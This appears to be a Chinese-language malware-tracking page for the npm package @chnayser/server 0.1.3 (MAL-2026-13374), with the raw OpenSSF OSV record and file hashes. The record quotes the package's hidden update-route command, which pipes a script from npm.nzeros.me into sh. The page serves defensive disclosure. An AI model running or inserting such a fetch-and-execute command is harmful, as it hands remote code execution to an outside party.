目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%
← 返回恶意软件包
npm active

@chnayser/server

MAL-2026-13374
2026-08-05 21:21:49
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in @chnayser/server (npm)

AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
15
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npm@chnayser/server0.1.3
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-08-05T21:21:49Z","published":"2026-08-05T21:21:49Z","schema_version":"1.7.4","id":"MAL-2026-13374","summary":"Malicious code in @chnayser/server (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (bdabed9cce6fadeadd8cdbed43b435030ae2e1807a6b13b2815ac6389cfd1c65)\nThe package's Express server (started via the advertised startServer/createApp entry points) mounts a GET route at /api/update whose handler executes `curl https://npm.nzeros.me/chnayser | sh` via child_process.execSync (dist/routes.js line 22). The route requires no authentication and is framed as a health/update probe. Any client that can reach the bound address (default 127.0.0.1:4300, overridable via a host option) causes the server process to fetch a shell script from npm.nzeros.me — a domain unrelated to the package's declared publisher — and execute it under /bin/sh. The fetched content is mutable and controlled by whoever owns npm.nzeros.me, giving that party arbitrary remote code execution on the installer's host whenever the server is running and the endpoint is reachable.\n","affected":[{"package":{"ecosystem":"npm","name":"@chnayser/server"},"versions":["0.1.3"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"dist/routes.js","sha256":"750917749909e7918bc705eac3e147be948e02e535039b760cb71daff4eabc02","tlsh":"f07197197eb352a08fbbd24c960b412efb07da27b40486a9ff4c63741f8754a056d7e8"}],"package_integrity":[{"filename":"server-0.1.3.tgz","hashes":{"sha1":"f1e1e4b510404ab35d093532317996dc6afe0907","sha512_sri":"sha512-SdC8h4Ts/9RrrgXTUQWbTmsiFWwxpY8YezoVKH4WYJm2Q5s8G/oiQVYf8DnmiNaz9bIsxPKUb+NFB1Bpnfu0MA=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@chnayser/server/v/0.1.3"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-015897","import_time":"2026-08-05T21:31:21.642490221Z","modified_time":"2026-08-05T21:21:49Z","sha256":"bdabed9cce6fadeadd8cdbed43b435030ae2e1807a6b13b2815ac6389cfd1c65","source":"amazon-inspector","versions":["0.1.3"]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0